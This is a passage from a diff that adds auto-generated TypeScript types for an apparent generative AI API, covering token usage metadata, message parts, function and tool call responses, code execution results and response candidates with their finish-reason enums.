usageMetadataServiceTierEnum = { + unspecified: 'unspecified', + standard: 'standard', + flex: 'flex', + priority: 'priority', +} as const + +export type UsageMetadataServiceTierEnumKey = + (typeof usageMetadataServiceTierEnum)[keyof typeof usageMetadataServiceTierEnum] + +/** + * @description Metadata on the generation request's token usage. + * @type object + */ +export type UsageMetadata = { + /** + * @description Output only. List of modalities of the cached content in the request input. + * @type array | undefined + */ + cacheTokensDetails?: ModalityTokenCount[] + /** + * @description Output only. List of modalities that were processed in the request input. + * @type array | undefined + */ + promptTokensDetails?: ModalityTokenCount[] + /** + * @description Output only. Service tier of the request. + * @type string | undefined + */ + serviceTier?: UsageMetadataServiceTierEnumKey + /** + * @description Output only. List of modalities that were processed for tool-use request inputs. + * @type array | undefined + */ + toolUsePromptTokensDetails?: ModalityTokenCount[] + /** + * @description Number of tokens in the prompt. When `cached_content` is set, this is still the total effective prompt size meaning this includes the number of tokens in the cached content. + * + * Format: `int32` + * @type integer | undefined + */ + promptTokenCount?: number + /** + * @description Output only. Number of tokens present in tool-use prompt(s). + * + * Format: `int32` + * @type integer | undefined + */ + toolUsePromptTokenCount?: number + /** + * @description Number of tokens in the cached part of the prompt (the cached content) + * + * Format: `int32` + * @type integer | undefined + */ + cachedContentTokenCount?: number + /** + * @description Output only. Number of tokens of thoughts for thinking models. + * + * Format: `int32` + * @type integer | undefined + */ + thoughtsTokenCount?: number + /** + * @description Total token count for the generation request (prompt + tool-use prompt + thoughts + response candidates). + * + * Format: `int32` + * @type integer | undefined + */ + totalTokenCount?: number + /** + * @description Output only. List of modalities that were returned in the response. + * @type array | undefined + */ + candidatesTokensDetails?: ModalityTokenCount[] + /** + * @description Total number of tokens across all the generated response candidates. + * + * Format: `int32` + * @type integer | undefined + */ + candidatesTokenCount?: number +} + +/** + * @description Information about a single recognized word. + * @type object + */ +export type WordInfo55Db7De8 = { + /** + * @description Optional. End offset in time of the word relative to the start of the audio. + * + * Format: `google-duration` + * @type string | undefined + */ + endOffset?: string + /** + * @description Required. Transcript of the word. + * @type string | undefined + */ + word?: string + /** + * @description Optional. Start offset in time of the word relative to the start of the audio. + * + * Format: `google-duration` + * @type string | undefined + */ + startOffset?: string +} + +/** + * @description The transcription of an audio part. For multi-speaker audio, each speaker segment is a separate Part with its own AudioTranscription carrying the speaker_label. + * @type object + */ +export type AudioTranscriptionBa9526D6 = { + /** + * @description Optional. Detailed word-level transcriptions and timing details. Present when word_timestamp is set. + * @type array | undefined + */ + words?: WordInfo55Db7De8[] + /** + * @description Optional. A label identifying the speaker of this audio segment (e.g. "spk_1", "spk_2"). Present when diarization is set. + * @type string | undefined + */ + speakerLabel?: string + /** + * @description Required. The transcription text of this audio segment. + * @type string | undefined + */ + text?: string +} + +export const toolResponse438B3A41ToolTypeEnum = { + TOOL_TYPE_UNSPECIFIED: 'TOOL_TYPE_UNSPECIFIED', + GOOGLE_SEARCH_WEB: 'GOOGLE_SEARCH_WEB', + GOOGLE_SEARCH_IMAGE: 'GOOGLE_SEARCH_IMAGE', + URL_CONTEXT: 'URL_CONTEXT', + GOOGLE_MAPS: 'GOOGLE_MAPS', + FILE_SEARCH: 'FILE_SEARCH', + MEDIA_PROCESSING: 'MEDIA_PROCESSING', +} as const + +export type ToolResponse438B3A41ToolTypeEnumKey = + (typeof toolResponse438B3A41ToolTypeEnum)[keyof typeof toolResponse438B3A41ToolTypeEnum] + +/** + * @description The output from a server-side `ToolCall` execution. This message contains the results of a tool invocation that was initiated by a `ToolCall` from the model. The client should pass this `ToolResponse` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolCall`. + * @type object + */ +export type ToolResponse438B3A41 = { + /** + * @description Optional. The tool response. + * @type object | undefined + */ + response?: { + [key: string]: unknown + } + /** + * @description Required. The type of tool that was called, matching the `tool_type` in the corresponding `ToolCall`. + * @type string | undefined + */ + toolType?: ToolResponse438B3A41ToolTypeEnumKey + /** + * @description Optional. The identifier of the tool call this response is for. + * @type string | undefined + */ + id?: string +} + +export const executableCodeA59B69C9LanguageEnum = { + LANGUAGE_UNSPECIFIED: 'LANGUAGE_UNSPECIFIED', + PYTHON: 'PYTHON', +} as const + +export type ExecutableCodeA59B69C9LanguageEnumKey = + (typeof executableCodeA59B69C9LanguageEnum)[keyof typeof executableCodeA59B69C9LanguageEnum] + +/** + * @description Code generated by the model that is meant to be executed, and the result returned to the model. Only generated when using the `CodeExecution` tool, in which the code will be automatically executed, and a corresponding `CodeExecutionResult` will also be generated. + * @type object + */ +export type ExecutableCodeA59B69C9 = { + /** + * @description Optional. Unique identifier of the `ExecutableCode` part. The server returns the `CodeExecutionResult` with the matching `id`. + * @type string | undefined + */ + id?: string + /** + * @description Required. The code to be executed. + * @type string | undefined + */ + code?: string + /** + * @description Required. Programming language of the `code`. + * @type string | undefined + */ + language?: ExecutableCodeA59B69C9LanguageEnumKey +} + +export const codeExecutionResult8744Fe6EOutcomeEnum = { + OUTCOME_UNSPECIFIED: 'OUTCOME_UNSPECIFIED', + OUTCOME_OK: 'OUTCOME_OK', + OUTCOME_FAILED: 'OUTCOME_FAILED', + OUTCOME_DEADLINE_EXCEEDED: 'OUTCOME_DEADLINE_EXCEEDED', +} as const + +export type CodeExecutionResult8744Fe6EOutcomeEnumKey = + (typeof codeExecutionResult8744Fe6EOutcomeEnum)[keyof typeof codeExecutionResult8744Fe6EOutcomeEnum] + +/** + * @description Result of executing the `ExecutableCode`. Generated only when the `CodeExecution` tool is used. + * @type object + */ +export type CodeExecutionResult8744Fe6E = { + /** + * @description Optional. The identifier of the `ExecutableCode` part this result is for. Only populated if the corresponding `ExecutableCode` has an id. + * @type string | undefined + */ + id?: string + /** + * @description Optional. Contains stdout when code execution is successful, stderr or other description otherwise. + * @type string | undefined + */ + output?: string + /** + * @description Required. Outcome of the code execution. + * @type string | undefined + */ + outcome?: CodeExecutionResult8744Fe6EOutcomeEnumKey +} + +/** + * @description Metadata describes the input video content. Set this in `Part.video_metadata` or `FunctionResponsePart.video_metadata` when `inline_data` or `file_data` contains video to configure static video preprocessing (such as time clipping, frame rate, maximum frame count, or extracted content layers). + * @type object + */ +export type VideoMetadata78De9A44 = { + /** + * @description Optional. The end offset of the video. + * + * Format: `google-duration` + * @type string | undefined + */ + endOffset?: string + /** + * @description Optional. The frame rate of the video sent to the model. If not specified, the default value will be 1.0. The fps range is (0.0, 24.0]. + * + * Format: `double` + * @type number | undefined + */ + fps?: number + /** + * @description Optional. The start offset of the video. + * + * Format: `google-duration` + * @type string | undefined + */ + startOffset?: string +} + +/** + * @description URI based data for function response. + * @type object + */ +export type FunctionResponseFileData28A7Bef9 = { + /** + * @description Required. URI. + * @type string | undefined + */ + fileUri?: string + /** + * @description Optional. Display name of the file. Used to provide a label or filename to distinguish file data. + * @type string | undefined + */ + displayName?: string + /** + * @description The IANA standard MIME type of the source data. + * @type string | undefined + */ + mimeType?: string +} + +/** + * @description Raw media bytes for function response. Text should not be sent as raw bytes, use the 'FunctionResponse.response' field. + * @type object + */ +export type FunctionResponseBlob7Fa33D74 = { + /** + * @description Raw bytes for media formats. + * @type string | undefined + */ + data?: string + /** + * @description The IANA standard MIME type of the source data. Examples: - image/png - image/jpeg If an unsupported MIME type is provided, an error will be returned. For a complete list of supported types, see [Supported file formats](https://aistudio.google.com/docs/file-input-methods#supported-content-types). + * @type string | undefined + */ + mimeType?: string + /** + * @description Optional. Display name of the blob. Used to provide a label or filename to distinguish blobs. + * @type string | undefined + */ + displayName?: string +} + +export const functionResponsePartFd8Efca6MediaProcessingEnum = { + MEDIA_PROCESSING_UNSPECIFIED: 'MEDIA_PROCESSING_UNSPECIFIED', + STATIC: 'STATIC', + AGENTIC: 'AGENTIC', +} as const + +export type FunctionResponsePartFd8Efca6MediaProcessingEnumKey = + (typeof functionResponsePartFd8Efca6MediaProcessingEnum)[keyof typeof functionResponsePartFd8Efca6MediaProcessingEnum] + +/** + * @description A datatype containing media that is part of a `FunctionResponse` message. A `FunctionResponsePart` consists of data which has an associated datatype. A `FunctionResponsePart` can only contain one of the accepted types in `FunctionResponsePart.data`. A `FunctionResponsePart` must have a fixed IANA MIME type identifying the type and subtype of the media if the `inline_data` field is filled with raw bytes. + * @type object + */ +export type FunctionResponsePartFd8Efca6 = { + /** + * @description URI based data for function response. + * @type object | undefined + */ + fileData?: FunctionResponseFileData28A7Bef9 + /** + * @description Optional. How the model processes this part's media for understanding. Only meaningful for video parts (`inline_data` or `file_data` with video mime). Non-video parts ignore this field. + * @type string | undefined + */ + mediaProcessing?: FunctionResponsePartFd8Efca6MediaProcessingEnumKey + /** + * @description Raw media bytes for function response. Text should not be sent as raw bytes, use the 'FunctionResponse.response' field. + * @type object | undefined + */ + inlineData?: FunctionResponseBlob7Fa33D74 +} + +export const functionResponse5A6Dbb27SchedulingEnum = { + SCHEDULING_UNSPECIFIED: 'SCHEDULING_UNSPECIFIED', + SILENT: 'SILENT', + WHEN_IDLE: 'WHEN_IDLE', + INTERRUPT: 'INTERRUPT', +} as const + +export type FunctionResponse5A6Dbb27SchedulingEnumKey = + (typeof functionResponse5A6Dbb27SchedulingEnum)[keyof typeof functionResponse5A6Dbb27SchedulingEnum] + +/** + * @description The result output from a `FunctionCall` that contains a string representing the `FunctionDeclaration.name` and a structured JSON object containing any output from the function is used as context to the model. This should contain the result of a`FunctionCall` made based on model prediction. + * @type object + */ +export type FunctionResponse5A6Dbb27 = { + /** + * @description Optional. The identifier of the function call this response is for. Populated by the client to match the corresponding function call `id`. + * @type string | undefined + */ + id?: string + /** + * @description Optional. Ordered `Parts` that constitute a function response. Parts may have different IANA MIME types. + * @type array | undefined + */ + parts?: FunctionResponsePartFd8Efca6[] + /** + * @description Required. The function response in JSON object format. Callers can use any keys of their choice that fit the function's syntax to return the function output, e.g. "output", "result", etc. In particular, if the function call failed to execute, the response can have an "error" key to return error details to the model. Multimedia can be included by using a subobject containing a single "$ref" key whose value is the `inline_data.display_name` of a `FunctionResponsePart` holding the multimedia. See https://aistudio.google.com/docs/function-calling#multimodal. + * @type object | undefined + */ + response?: { + [key: string]: unknown + } + /** + * @description Optional. Specifies how the response should be scheduled in the conversation. Only applicable to NON_BLOCKING function calls, is ignored otherwise. Defaults to WHEN_IDLE. + * @type string | undefined + */ + scheduling?: FunctionResponse5A6Dbb27SchedulingEnumKey + /** + * @description Optional. Signals that function call continues, and more responses will be returned, turning the function call into a generator. Is only applicable to NON_BLOCKING function calls, is ignored otherwise. If set to false, future responses will not be considered. It is allowed to return empty `response` with `will_continue=False` to signal that the function call is finished. This may still trigger the model generation. To avoid triggering the generation and finish the function call, additionally set `scheduling` to `SILENT`. + * @type boolean | undefined + */ + willContinue?: boolean + /** + * @description Required. The name of the function to call. Must be a-z, A-Z, 0-9, or contain underscores and dashes, with a maximum length of 128. + * @type string | undefined + */ + name?: string +} + +/** + * @description URI based data. + * @type object + */ +export type FileData029658Ce = { + /** + * @description Optional. Specifies the name used to refer to this file to the model (e.g. "my_file.pdf"). Used as the file reference identifier when `verbalization_mode` is set to `REFERENCE_ONLY`. + * @type string | undefined + */ + displayName?: string + /** + * @description Optional. The IANA standard MIME type of the source data. + * @type string | undefined + */ + mimeType?: string + /** + * @description Required. URI. + * @type string | undefined + */ + fileUri?: string +} + +export const toolCall13Fa162AToolTypeEnum = { + TOOL_TYPE_UNSPECIFIED: 'TOOL_TYPE_UNSPECIFIED', + GOOGLE_SEARCH_WEB: 'GOOGLE_SEARCH_WEB', + GOOGLE_SEARCH_IMAGE: 'GOOGLE_SEARCH_IMAGE', + URL_CONTEXT: 'URL_CONTEXT', + GOOGLE_MAPS: 'GOOGLE_MAPS', + FILE_SEARCH: 'FILE_SEARCH', + MEDIA_PROCESSING: 'MEDIA_PROCESSING', +} as const + +export type ToolCall13Fa162AToolTypeEnumKey = + (typeof toolCall13Fa162AToolTypeEnum)[keyof typeof toolCall13Fa162AToolTypeEnum] + +/** + * @description A predicted server-side `ToolCall` returned from the model. This message contains information about a tool that the model wants to invoke. The client is NOT expected to execute this `ToolCall`. Instead, the client should pass this `ToolCall` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolResponse`. + * @type object + */ +export type ToolCall13Fa162A = { + /** + * @description Optional. The name of the tool that was called. + * @type string | undefined + */ + toolName?: string + /** + * @description Required. The type of tool that was called. + * @type string | undefined + */ + toolType?: ToolCall13Fa162AToolTypeEnumKey + /** + * @description Optional. The tool call arguments. Example: {"arg1" : "value1", "arg2" : "value2" , ...} + * @type object | undefined + */ + args?: { + [key: string]: unknown + } + /** + * @description Optional. Unique identifier of the tool call. The server returns the tool response with the matching `id`. + * @type string | undefined + */ + id?: string +} + +export const part73330Ac1MediaProcessingEnum = { + MEDIA_PROCESSING_UNSPECIFIED: 'MEDIA_PROCESSING_UNSPECIFIED', + STATIC: 'STATIC', + AGENTIC: 'AGENTIC', +} as const + +export type Part73330Ac1MediaProcessingEnumKey = + (typeof part73330Ac1MediaProcessingEnum)[keyof typeof part73330Ac1MediaProcessingEnum] + +/** + * @description A datatype containing media that is part of a multi-part `Content` message. A `Part` consists of data which has an associated datatype. A `Part` can only contain one of the accepted types in `Part.data`. A `Part` must have a fixed IANA MIME type identifying the type and subtype of the media if the `inline_data` field is filled with raw bytes. + * @type object + */ +export type Part73330Ac1 = { + /** + * @description Inline text. + * @type string | undefined + */ + text?: string + /** + * @description A predicted `FunctionCall` returned from the model that contains a string representing the `FunctionDeclaration.name` with the arguments and their values. + * @type object | undefined + */ + functionCall?: FunctionCall + /** + * @description The output from a server-side `ToolCall` execution. This message contains the results of a tool invocation that was initiated by a `ToolCall` from the model. The client should pass this `ToolResponse` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolCall`. + * @type object | undefined + */ + toolResponse?: ToolResponse438B3A41 + /** + * @description The transcription of an audio part. For multi-speaker audio, each speaker segment is a separate Part with its own AudioTranscription carrying the speaker_label. + * @type object | undefined + */ + audioTranscription?: AudioTranscriptionBa9526D6 + /** + * @description Optional. Indicates if the part is thought from the model. + * @type boolean | undefined + */ + thought?: boolean + /** + * @description Media resolution for tokenization. + * @type object | undefined + */ + mediaResolution?: V1MainMediaResolution + /** + * @description Code generated by the model that is meant to be executed, and the result returned to the model. Only generated when using the `CodeExecution` tool, in which the code will be automatically executed, and a corresponding `CodeExecutionResult` will also be generated. + * @type object | undefined + */ + executableCode?: ExecutableCodeA59B69C9 + /** + * @description Speech metadata for `text` parts. + * @type object | undefined + */ + speechMetadata?: SpeechMetadata + /** + * @description Raw media bytes. Text should not be sent as raw bytes, use the 'text' field. + * @type object | undefined + */ + inlineData?: Blob + /** + * @description Optional. An opaque signature for the thought so it can be reused in subsequent requests. + * @type string | undefined + */ + thoughtSignature?: string + /** + * @description Result of executing the `ExecutableCode`. Generated only when the `CodeExecution` tool is used. + * @type object | undefined + */ + codeExecutionResult?: CodeExecutionResult8744Fe6E + /** + * @description Metadata describes the input video content. Set this in `Part.video_metadata` or `FunctionResponsePart.video_metadata` when `inline_data` or `file_data` contains video to configure static video preprocessing (such as time clipping, frame rate, maximum frame count, or extracted content layers). + * @type object | undefined + */ + videoMetadata?: VideoMetadata78De9A44 + /** + * @description Optional. How the model processes this part's media for understanding. Only meaningful for video parts (`inline_data` or `file_data` with video mime). Non-video parts ignore this field. + * @type string | undefined + */ + mediaProcessing?: Part73330Ac1MediaProcessingEnumKey + /** + * @description The result output from a `FunctionCall` that contains a string representing the `FunctionDeclaration.name` and a structured JSON object containing any output from the function is used as context to the model. This should contain the result of a`FunctionCall` made based on model prediction. + * @type object | undefined + */ + functionResponse?: FunctionResponse5A6Dbb27 + /** + * @description URI based data. + * @type object | undefined + */ + fileData?: FileData029658Ce + /** + * @description A predicted server-side `ToolCall` returned from the model. This message contains information about a tool that the model wants to invoke. The client is NOT expected to execute this `ToolCall`. Instead, the client should pass this `ToolCall` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolResponse`. + * @type object | undefined + */ + toolCall?: ToolCall13Fa162A + /** + * @description Custom metadata associated with the Part. Agents using genai.Part as content representation may need to keep track of the additional information. For example it can be name of a file/source from which the Part originates or a way to multiplex multiple Part streams. + * @type object | undefined + */ + partMetadata?: { + [key: string]: unknown + } +} + +/** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object + */ +export type ContentE3Ec6Bf7 = { + /** + * @description Ordered `Parts` that constitute a single message. Parts may have different MIME types. + * @type array | undefined + */ + parts?: Part73330Ac1[] + /** + * @description Optional. The producer of the content. Must be either 'user' or 'model'. Useful to set for multi-turn conversations, otherwise can be left blank or unset. + * @type string | undefined + */ + role?: string +} + +/** + * @description Attribution for a source that contributed to an answer. + * @type object + */ +export type GroundingAttribution6Aed3B2E = { + /** + * @description Identifier for the source contributing to this attribution. + * @type object | undefined + */ + sourceId?: AttributionSourceId + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + content?: ContentE3Ec6Bf7 +} + +export const candidate7Cd0B73FFinishReasonEnum = { + FINISH_REASON_UNSPECIFIED: 'FINISH_REASON_UNSPECIFIED', + STOP: 'STOP', + MAX_TOKENS: 'MAX_TOKENS', + SAFETY: 'SAFETY', + RECITATION: 'RECITATION', + LANGUAGE: 'LANGUAGE', + OTHER: 'OTHER', + BLOCKLIST: 'BLOCKLIST', + PROHIBITED_CONTENT: 'PROHIBITED_CONTENT', + SPII: 'SPII', + MALFORMED_FUNCTION_CALL: 'MALFORMED_FUNCTION_CALL', + IMAGE_SAFETY: 'IMAGE_SAFETY', + IMAGE_PROHIBITED_CONTENT: 'IMAGE_PROHIBITED_CONTENT', + IMAGE_OTHER: 'IMAGE_OTHER', + NO_IMAGE: 'NO_IMAGE', + IMAGE_RECITATION: 'IMAGE_RECITATION', + UNEXPECTED_TOOL_CALL: 'UNEXPECTED_TOOL_CALL', + TOO_MANY_TOOL_CALLS: 'TOO_MANY_TOOL_CALLS', + MISSING_THOUGHT_SIGNATURE: 'MISSING_THOUGHT_SIGNATURE', + MALFORMED_RESPONSE: 'MALFORMED_RESPONSE', + ESCALATION: 'ESCALATION', + PUP_LIMITED_DISABLED: 'PUP_LIMITED_DISABLED', + CONTINUATION: 'CONTINUATION', +} as const + +export type Candidate7Cd0B73FFinishReasonEnumKey = + (typeof candidate7Cd0B73FFinishReasonEnum)[keyof typeof candidate7Cd0B73FFinishReasonEnum] + +/** + * @description A response candidate generated from the model. + * @type object + */ +export type Candidate7Cd0B73F = { + /** + * @description Metadata related to url context retrieval tool. + * @type object | undefined + */ + urlContextMetadata?: UrlContextMetadata + /** + * @description The base structured datatype containing multi-part content of a message. A `Content` includes a `role` field designating the producer of the `Content` and a `parts` field containing multi-part data that contains the content of the message turn. + * @type object | undefined + */ + content?: ContentE3Ec6Bf7 + /** + * @description Output only. Attribution information for sources that contributed to a grounded answer. This field is populated for `GenerateAnswer` calls. + * @type array | undefined + */ + groundingAttributions?: GroundingAttribution6Aed3B2E[] + /** + * @description Output only. Token count for this candidate. + * + * Format: `int32` + * @type integer | undefined + */ + tokenCount?: number + /** + * @description Output only. Index of the candidate in the list of response candidates. + * + * Format: `int32` + * @type integer | undefined + */ + index?: number + /** + * @description Optional. Output only. The reason why the model stopped generating tokens. If empty, the model has not stopped generating tokens. + * @type string | undefined + */ + finishReason?: Candidate7Cd0B73FFinishReasonEnumKey + /** + * @description Metadata returned to client when grounding is enabled. + * @type object | undefined + */ + groundingMetadata?: GroundingMetadata + /** + * @description Logprobs Result + * @type object | undefined + */ + logprobsResult?: LogprobsResult + /** + * @description A collection of source attributions for a piece of content. + * @type object | undefined + */ + citationMetadata?: CitationMetadata + /** + * @description Output only. Average log probability score of the candidate. + * + * Format: `double` + * @type number | undefined + */ + avgLogprobs?: number + /** + * @description Optional. Output only. Details the reason why the model stopped generating tokens. This is populated only when `finish_reason` is set. + * @type string | undefined + */ + finishMessage?: string + /** + * @description List of ratings for the safety of a response candidate. There is at most one rating per category. + * @type array | undefined + */ + safetyRatings?: SafetyRating[] + /** + * @description An optional opaque continuation token returned when `finish_reason` is `CONTINUATION`. Clients can pass this token in a subsequent `GenerateContentRequest` to continue generation. + * @type string | undefined + */ + continuationToken?: string +} + +/** + * @description Information about a single recognized word. + * @type object + */ +export type WordInfo43E26B18 = { + /** + * @description Optional. End offset in time of the word relative to the start of the audio. + * + * Format: `google-duration` + * @type string | undefined + */ + endOffset?: string + /** + * @description Required. Transcript of the word. + * @type string | undefined + */ + word?: string + /** + * @description Optional. Start offset in time of the word relative to the start of the audio. + * + * Format: `google-duration` + * @type string | undefined + */ + startOffset?: string +} + +/** + * @description The transcription of an audio part. For multi-speaker audio, each speaker segment is a separate Part with its own AudioTranscription carrying the speaker_label. + * @type object + */ +export type AudioTranscription031E8B26 = { + /** + * @description Optional. Detailed word-level transcriptions and timing details. Present when word_timestamp is set. + * @type array | undefined + */ + words?: WordInfo43E26B18[] + /** + * @description Optional. A label identifying the speaker of this audio segment (e.g. "spk_1", "spk_2"). Present when diarization is set. + * @type string | undefined + */ + speakerLabel?: string + /** + * @description Required. The transcription text of this audio segment. + * @type string | undefined + */ + text?: string +} + +export const codeExecutionResultBd1E38CeOutcomeEnum = { + OUTCOME_UNSPECIFIED: 'OUTCOME_UNSPECIFIED', + OUTCOME_OK: 'OUTCOME_OK', + OUTCOME_FAILED: 'OUTCOME_FAILED', + OUTCOME_DEADLINE_EXCEEDED: 'OUTCOME_DEADLINE_EXCEEDED', +} as const + +export type CodeExecutionResultBd1E38CeOutcomeEnumKey = + (typeof codeExecutionResultBd1E38CeOutcomeEnum)[keyof typeof codeExecutionResultBd1E38CeOutcomeEnum] + +/** + * @description Result of executing the `ExecutableCode`. Generated only when the `CodeExecution` tool is used. + * @type object + */ +export type CodeExecutionResultBd1E38Ce = { + /** + * @description Optional. The identifier of the `ExecutableCode` part this result is for. Only populated if the corresponding `ExecutableCode` has an id. + * @type string | undefined + */ + id?: string + /** + * @description Optional. Contains stdout when code execution is successful, stderr or other description otherwise. + * @type string | undefined + */ + output?: string + /** + * @description Required. Outcome of the code execution. + * @type string | undefined + */ + outcome?: CodeExecutionResultBd1E38CeOutcomeEnumKey +} + +export const toolResponseBa85Ee2DToolTypeEnum = { + TOOL_TYPE_UNSPECIFIED: 'TOOL_TYPE_UNSPECIFIED', + GOOGLE_SEARCH_WEB: 'GOOGLE_SEARCH_WEB', + GOOGLE_SEARCH_IMAGE: 'GOOGLE_SEARCH_IMAGE', + URL_CONTEXT: 'URL_CONTEXT', + GOOGLE_MAPS: 'GOOGLE_MAPS', + FILE_SEARCH: 'FILE_SEARCH', + MEDIA_PROCESSING: 'MEDIA_PROCESSING', +} as const + +export type ToolResponseBa85Ee2DToolTypeEnumKey = + (typeof toolResponseBa85Ee2DToolTypeEnum)[keyof typeof toolResponseBa85Ee2DToolTypeEnum] + +/** + * @description The output from a server-side `ToolCall` execution. This message contains the results of a tool invocation that was initiated by a `ToolCall` from the model. The client should pass this `ToolResponse` back to the API in a subsequent turn within a `Content` message, along with the corresponding `ToolCall`. + * @type object + */ +export type ToolResponseBa85Ee2D = { + /** + * @description Optional. The tool response. + * @type object | undefined + */ + response?: { + [key: string]: unknown + } + /** + * @description Required. The type of tool that was called, matching the `tool_type` in the corresponding `ToolCall`. + * @type string | undefined + */ + toolType?: ToolResponseBa85Ee2DToolTypeEnumKey + /** + * @description Optional. The identifier of the tool call this response is for. + * @type string | undefined + */ + id?: string +} + +export const executableCode37080845LanguageEnum = { + LANGUAGE_UNSPECIFIED: 'LANGUAGE_UNSPECIFIED', + PYTHON: 'PYTHON', +} as const + +export type ExecutableCode37080845LanguageEnumKey = + (typeof executableCode37080845LanguageEnum)[keyof typeof executableCode37080845LanguageEnum] + +/** + * @description Code generated by the model that is meant to be executed, and the result returned to the model. Only generated when using the `CodeExecution` tool, in which the code will be automatically executed, and a corresponding `CodeExecutionResult` will also be generated. + * @type object + */ +export type ExecutableCode37080845 = { + /** + * @description Optional. Unique identifier of the `ExecutableCode` part. The server returns the `CodeExecutionResult` with the matching `id`. + * @type string | undefined + */ + id?: string + /** + * @description Required. The code to be executed. + * @type string | undefined + */ + code?: string + /** + * @description Required. Programming language of the `code`. + * @type string | undefined + */ + language?: ExecutableCode37080845LanguageEnumKey +} + +/** + * @description Metadata describes the input video content. Set this in `Part.video_metadata` or `FunctionResponsePart.video_metadata` when `inline_data` or `file_data` contains video to configure static video preprocessing (such as time clipping, frame rate, maximum frame count, or extracted content layers). + * @type object + */ +export type VideoMetadataBdca892C = { + /** + * @description Optional. The end offset of the video. + * + * Format: `google-duration` + * @type string | undefined + */ + endOffset?: string + /** + * @description Optional. The frame rate of the video sent to the model. If not specified, the default value will be 1.0. The fps range is (0.0, 24.0]. + * + * Format: `double` + * @type number | undefined + */ + fps?: number + /** + * @description Optional. The start offset of the video. + * + * Format: `google-duration` + * @type string | undefined + */ + startOffset?: string +} + +/** + * @description URI based data for function response. + * @type object + */ +export type FunctionResponseFileDataB3D553B5 = { + /** + * @description Required. URI. + * @type string | undefined + */ + fileUri?: string + /** + * @description Optional. Display name of the file. Used to provide a label or filename to distinguish file data. + * @type string | undefined + */ + displayName?: string + /** + * @description The IANA standard MIME type of the source data. + * @type string | undefined + */ + mimeType?: string +} + +/** + * @description Raw media bytes for function response. Text should not be sent as raw bytes, use the 'FunctionResponse.response' field. + * @type object + */ +export type FunctionResponseBlobA866199C = { + /** + * @description Raw bytes for media formats. + * @type string | undefined + */ + data?: string + /** + * @description The IANA standard MIME type of the source data. Examples: - image/png - image/jpeg If an unsupported MIME type is provided, an error will be returned. For a complete list of supported types, see [Supported file formats](https://aistudio.google.com/docs/file-input-methods#supported-content-types). + * @type string | undefined + */ + mimeType?: string + /** + * @description Optional. Display name of the blob. Used to provide a label or filename to distinguish blobs. + * @type string | undefined + */ + displayName?: string +} + +export const functionResponsePartFfa88Bf6MediaProcessingEnum = { + MEDIA_PROCESSING_UNSPECIFIED: 'MEDIA_PROCESSING_UNSPECIFIED', + STATIC: 'STATIC', + AGENTIC: 'AGENTIC', +} as const + +export type FunctionResponsePartFfa88Bf6MediaProcessingEnumKey = + (typeof functionResponsePartFfa88Bf6MediaProcessingEnum)[keyof typeof functionResponsePartFfa88Bf6MediaProcessingEnum] + +/** + * @description A datatype containing media that is part of a `FunctionResponse` message. A `FunctionResponsePart` consists of data which has an associated datatype. A `FunctionResponsePart` can only contain one of the accepted types in `FunctionResponsePart.data`. A `FunctionResponsePart` must have a fixed IANA MIME type identifying the type and subtype of the media if the `inline_data` field is filled with raw bytes. + * @type object + */ +export type FunctionResponsePartFfa88Bf6 = { + /** + * @description URI based data for function response. + * @type object | undefined + */ + fileData?: FunctionResponseFileDataB3D553B5 + /** + * @description Optional. How the model processes this part's media for understanding. Only meaningful for video parts (`inline_data` or `file_data` with video mime). Non-video parts ignore this field. + * @type string | undefined + */ + mediaProcessing?: FunctionResponsePartFfa88Bf6MediaProcessingEnumKey + /** + * @description Raw media bytes for function response. Text should not be sent as raw bytes, use the 'FunctionResponse.response' field. + * @type object | undefined + */ + inlineData?: FunctionResponseBlobA866199C +} + +export const functionResponse2D1Dfd1BSchedulingEnum = { + SCHEDULING_UNSPECIFIED: 'SCHEDULING_UNSPECIFIED', + SILENT: 'SILENT', + WHEN_IDLE: 'WHEN_IDLE', + INTERRUPT: 'INTERRUPT', +} as const + +export type FunctionResponse2D1Dfd1BSchedulingEnumKey = + (typeof functionResponse2D1Dfd1BSchedulingEnum)[keyof typeof functionResponse2D1Dfd1BSchedulingEnum] + +/** + * @description The result output from a `FunctionCall` that contains a string representing the `FunctionDeclaration.name` and a structured JSON object containing any output from the function is used as context to the model. This should contain the result of a`FunctionCall` made based on model prediction. + * @type object + */ +export type FunctionResponse2D1Dfd1B = { + /** + * @description Optional. The identifier of the function call this response is for. Populated by the client to match the corresponding function call `id`. + * @type string | undefined + */ + id?: string + /** + * @description Optional. Ordered `Parts` that constitute a function response. Parts may have different IANA MIME types. + * @type array | undefined + */ + parts?: FunctionResponsePartFfa88Bf6[] + /** + * @description Required. The function response in JSON object format. Callers can use any keys of their choice that fit the function's syntax to return the function output, e.g. "output", "result", etc. In particular, if the function call failed to execute, the response can have an "error" key to return error details to the model. Multimedia can be included by using a subobject containing a single "$ref" key whose value is the `inline_data.display_name` of a `FunctionResponsePart` holding the multimedia. See https://aistudio.google.com/docs/function-calling#multimodal. + * @type object | undefined + */ + response?: { + [key: string]: unknown + } + /** + * @description Optional. Specifies how the response should be scheduled in the conversation. Only applicable to NON_BLOCKING function calls, is ignored otherwise. Defaults to WHEN_IDLE. + * @type string | undefined + */ + scheduling?: FunctionResponse2D1Dfd1BSchedulingEnumKey + /** + * @description Optional. Signals that function call continues, and more responses will be returned, turning the function call into a generator. Is only applicable to NON_BLOCKING function calls, is ignored otherwise. If set to false, future responses will not be considered. It is allowed to return empty `response` with `will_continue=False` to signal that the function call is finished. This may still trigger the model generation. To avoid triggering the generation and finish the function call, additionally set `scheduling` to `SILENT`. + * @type boolean | undefined + */ + willContinue?: boolean + /** + * @description Required. The name of the function to call. Must be a-z, A-Z, 0-9, or contain underscores and dashes, with a maximum length of 128. + * @type string | undefined + */ + name?: string +} + +/** + * @description URI based data. + * @type object + */ +export type FileDataA0043C6E = { + /** + * @description Optional. Specifies the name used to refer to this file to the model (e.g. "my_file.pdf"). Used as the file reference identifier when `verbalization_mode` is set to `REFERENCE_ONLY`. + * @type string | undefined + */ + displayName?: string + /** + * @description Optional. The IANA standard MIME type of the source data. + * @type string | undefined + */ + mimeType?: string + /** + * @description Required. URI. + * @type string | 